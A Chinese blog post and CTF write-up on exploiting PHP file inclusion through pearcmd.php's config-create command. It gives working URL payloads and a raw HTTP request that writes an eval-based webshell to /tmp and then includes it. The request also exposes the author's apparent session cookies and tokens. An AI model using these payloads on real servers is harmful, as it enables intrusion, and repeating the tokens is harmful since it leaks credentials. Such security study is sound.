文件包含之Pearcmd.php的利用

参考链接

file 在开启register_argc_argv的情况下(可以在phpinfo页面查看是否开启),用户的输入将会被赋予给 $argc、$argv、$_SERVER[‘argv’] 几个变量 file 可以看到$_SERVER[‘argv’]已经获取到了值,这个值是通过+号分割而不是&号 file $_SERVER[‘argv’]所获取的数组 就是在命令行模式下argv[0]是脚本名 后边依次为参数

Pearcmd.php有许多命令 file 其中config-create命令是创建一个配置文件 这个命令需要两个参数 一个是文件内容 另一个是文件路径

如果可以利用这个命令 那个就可以实现一个写文件的功能 可以直接往web目录写入webshell 也可以往/tmp/目录写入任意文件名任意内容 然后通过文件包含去包含 在docker环境中pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

如何利用pearcmd.php呢? 如果是在命令行模式下

php pearcmd.php config-create "\<?=phpinfo()?>" 123.php

可以看到已经写入了 然后再通过文件包含漏洞 将这个文件包含进去就能getshell file

这是在命令行模式下,但是在server模式下怎么实现的呢

在server模式下 file 可以通过分析代码知道 参数是可以通过$_SERVER[‘argv’]来获取 那就可以构造命令了

假设存在代码

<?php
include $_GET['f'];
?>

则可以使用payload

127.0.0.1/?+config-create+&f=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

然后就会在tmp目录下生成shell.php 文件包含phphinfo的页面 然后通过文件包含 将此文件包含进去

这里是因为在文件包含的时候,如果所包含的文件是php文件可以被解析,那么就会执行这个被包含的文件,通过包含pearcmd.php文件,就会执行pearcmd.php 然后再通过$_SERVER[‘argv’]获取所需要的参数。 上边的payload file 拼接成命令行模式就是

php pearcmd.php config-create &f=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?> /tmp/shell.php

会将&f=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>写入/tmp/shell.php

西湖论剑 2020-web OA_RCE 下载题目源码 在webmain/index/indexAction.php中发现phpinfo file 通过查看信乎OA的文档 查看路由访问 file register_argc_argv为开启状态 file

此OA系统的入口是index.php 会包含include/View.php 可以调试跟踪一下流程 file 首先是会new一个ClassAction的对象(这个对象要看具体请求的是哪个) file 然后会将displayfile进行包含

然后再看indexAction.php file 这里没有过滤且会给displayfile进行赋值 可以进行文件包含 只是只能包含php结尾的文件 题目一般都是docker环境 然后就可以利用上边分析的pearcmd.php去生成一个php文件,然后进行包含。 php后缀是框架处理的时候先解码然后再拼接上的 因为这里边的base64加密是更改了对应的表 所以新建一个方法 生成我们需要的路径的base64 file file

payload:

GET /?+config-create+/&m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA::&/<?=eval($_POST[whoami])?>+/tmp/shell.php HTTP/1.1
Host: 39.105.160.88:8001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: pro_end=-1; ltd_end=-1; serverType=nginx; order=id%20desc; memSize=1890; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22199****3143%22%7D%7D; file_recycle_status=true; distribution=ubuntu; sites_path=/www/wwwroot; force=0; soft_remarks=%7B%22list%22%3A%5B%22%u4F01%u4E1A%u7248%u3001%u4E13%u4E1A%u7248%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u53EF%u66F4%u6362IP%22%2C%22%u8D60%u90012%u5F20%u5546%u7528%u8BC1%u4E66%22%2C%22%u8D60%u90011000%u6761%u77ED%u4FE1%22%2C%22%u4F4E%u81F31.86%u5143/%u5929%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%2C%22%u5E74%u4ED8%u4F01%u4E1A%u7248%u670D%u52A1%u7FA4%22%2C%22%u4EA7%u54C1%u6388%u6743%u8BC1%u4E66%22%5D%2C%22pro_list%22%3A%5B%22%u4E13%u4E1A%u7248%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u53EF%u66F4%u6362IP%22%2C%22%u4F4E%u81F31.52%u5143/%u5929%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%2C%22%u4EA7%u54C1%u6388%u6743%u8BC1%u4E66%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%7D; webssh_serial=0; page_number=20; p-1=1; p0=1; backup_path=/www/backup; load_search=undefined; p5=2; softType=0; load_page=1; load_type=0; rank=list; vcodesum=12; record_paste=null; record_paste_type=null; Path=/root/NYNUCTF-S2/nynuctf-s2-web/babysql/files; deviceid=1637847100986; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; 10d7dfbbf6c4ecc63a67018cc83ebedf=e8a0529e-9f52-4f04-93f6-4d49adc9b9dc.ISs3MlVkftTy4h0jUtuT2_sqiHM; request_token=8R4mwiEnFZhp6DMl4rMIgXPMVMJK8tnR9LXAEuBrLoAugyIu; PHPSESSID=ccf245d89d217410d0a0aac147cc3ccd; xinhu_mo_adminid=dt0jyy0jzz0jzs0tm0wj0dz0jzt0dd0wz0dz0jzi0dd0wz0dp0wt07
Connection: close

file

然后再通过包含/tmp/shell.php file


文件包含之Pearcmd.php的利用
http://example.com/2021/11/27/OldBlog/文件包含之pearcmd-php的利用/
作者
Autumn
发布于
2021年11月27日
许可协议